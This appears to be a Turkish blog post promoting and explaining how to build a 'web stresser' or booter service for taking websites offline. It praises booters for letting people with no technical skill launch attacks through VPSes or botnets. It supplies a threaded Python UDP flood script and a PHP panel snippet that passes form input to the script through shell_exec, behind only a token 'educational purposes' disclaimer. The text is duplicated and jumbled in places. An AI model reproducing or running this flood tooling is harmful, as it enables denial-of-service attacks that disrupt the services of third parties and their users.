Web Stresser Nedir?
Bu gün Web Stresser konusuna değinmek istedim, uzun süredir üzerinde çalışıyorum ve bunun hakkında projelerimde hali hazırda mevcut. Web Stresser (ya da booter olarak da bilinir)bir hedef siteyi veya IP'yi çevrimdışı bırakmak için kullanılan yani kullanıcının en kolay şekilde hedef siteyi çökertmesini hedefleyen platformlardır. Birden fazla cihazı veya sunucuyu kullanarak hedefe yoğun trafik gönderir ve sistemi çökertmeyi amaçlar.
Peki neden klasik DDoS yerine Web Stresser?
-Web Stresser kullanmanın birkaç sebebi var:
-Teknik bilgin olmasa bile saldırı yapabiliyorsun.
-Çeşitli saldırı türlerini seçebiliyorsun (HTTP flood, UDP flood, vs.)
-Arka planda çalışan VPS'ler ya da botnet ağı üzerinden saldırı yolluyor.
-İstersen zamanlayıcıyla saldırıyı belirli bir saatte başlatabiliyorsun.
Yani işi daha “otomatik ve organize” hale getiriyor fazla bişey yapmanıza gerek yok layer7-4 gibi seçenekleri olur birde.
Peki nasıl oluşturulur? Nasıl yapılıyor bu Web Stresser?!
-Bir web arayüzüne (panel) ihtiyacın var. PHP ile yapılır genelde.
-Bir saldırı scripti gerekiyor. Python ile UDP flood vs. yazılabilir.
-Sunucu/VPS lazım. Yani bu işlemi çalıştıracak bir sistem.
Python ile saldırı script örneği oluşturalım mesela en basitinden
Arkadaşlar bu tür sistemlerin kullanım amaçları değişebiliyor. Kimi yaptığı güvenlik sistemini test ediyor kimi ise saldırı amaçlı kullanıyor. Bu sizin karar verebileceğiniz bir şey. Bu konu eğitim amaçlıdır. Bir sistemin nasıl çalıştığını anlamadan ona karşı önlem alamazsınız. Önlem almak istiyorsanızda cloudflare kullanırsınız zaten.
Zaman ayırıp okuduğunuz ve ilgilendiğiniz için teşekkürler, umarım bu bilgiler sizin için yararlı olur.
Bu gün Web Stresser konusuna değinmek istedim, uzun süredir üzerinde çalışıyorum ve bunun hakkında projelerimde hali hazırda mevcut. Web Stresser (ya da booter olarak da bilinir)bir hedef siteyi veya IP'yi çevrimdışı bırakmak için kullanılan yani kullanıcının en kolay şekilde hedef siteyi çökertmesini hedefleyen platformlardır. Birden fazla cihazı veya sunucuyu kullanarak hedefe yoğun trafik gönderir ve sistemi çökertmeyi amaçlar.
Peki neden klasik DDoS yerine Web Stresser?
-Web Stresser kullanmanın birkaç sebebi var:
-Teknik bilgin olmasa bile saldırı yapabiliyorsun.
-Çeşitli saldırı türlerini seçebiliyorsun (HTTP flood, UDP flood, vs.)
-Arka planda çalışan VPS'ler ya da botnet ağı üzerinden saldırı yolluyor.
-İstersen zamanlayıcıyla saldırıyı belirli bir saatte başlatabiliyorsun.
Yani işi daha “otomatik ve organize” hale getiriyor fazla bişey yapmanıza gerek yok layer7-4 gibi seçenekleri olur birde.
Peki nasıl oluşturulur? Nasıl yapılıyor bu Web Stresser?!
-Bir web arayüzüne (panel) ihtiyacın var. PHP ile yapılır genelde.
-Bir saldırı scripti gerekiyor. Python ile UDP flood vs. yazılabilir.
-Sunucu/VPS lazım. Yani bu işlemi çalıştıracak bir sistem.
Python ile saldırı script örneği oluşturalım mesela en basitinden
Şimdi ise PHP panel ile saldırıyı tetikleyelim#!/usr/bin/env python3
import socket
import random
import time
import sys
from threading import Thread
print("Sistem çalışıyor(umarım scripti test etmedim şu an öylesine yazıyorum ama mantığı bu şekilde)")
if len(sys.argv) != 4:
print(f"Kullanım: {sys.argv[0]} <hedefip> <port> <saniye>")
sys.exit(1)
target_ip = str(sys.argv[1])
target_port = int(sys.argv[2])
duration = int(sys.argv[3])
timeout = time.time() + duration
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes_sent = 0
def flood():
global bytes_sent
payload = random._urandom(1024)
while time.time() < timeout:
sock.sendto(payload, (target_ip, target_port))
bytes_sent += 1
if bytes_sent % 100 == 0:
print(f"[+] Paket sayısı: {bytes_sent} | Hedef: {target_ip}:{target_port}")
threads = []
for i in range(4):
thread = Thread(target=flood)
thread.start()
threads.append(thread)
for t in threads:
t.join()
-- şayet script çalışsa da çok büyük etki bırakacağını sanmıyorum bu temel mantığı anlatmak için bir örnekti. Yani yinede yaptığınız ve yapacağınız yasa dışı saldırılardan siz kendiniz sorumlusunuz.
print(f"\n Saldırı bitti, Toplam {bytes_sent} paket gönderildi.")
$ip = escapeshellarg($_POST['ip']);
$port = (int) $_POST['port'];
$time = (int) $_POST['time'];
//bu örnek scriptte komutları sanitize ettim, siz kendinize uyarlarken sanitize etmeyi unutmayın yoksa sizin sunucuyu yerler haberiniz olsun.
$cmd = "python3 flood.py $ip $port $time";
$output = shell_exec($cmd);
Arkadaşlar bu tür sistemlerin kullanım amaçları değişebiliyor. Kimi yaptığı güvenlik sistemini test ediyor kimi ise saldırı amaçlı kullanıyor. Bu sizin karar verebileceğiniz bir şey. Bu konu eğitim amaçlıdır. Bir sistemin nasıl çalıştığını anlamadan ona karşı önlem alamazsınız. Önlem almak istiyorsanızda cloudflare kullanırsınız zaten.
Zaman ayırıp okuduğunuz ve ilgilendiğiniz için teşekkürler, umarım bu bilgiler sizin için yararlı olur.



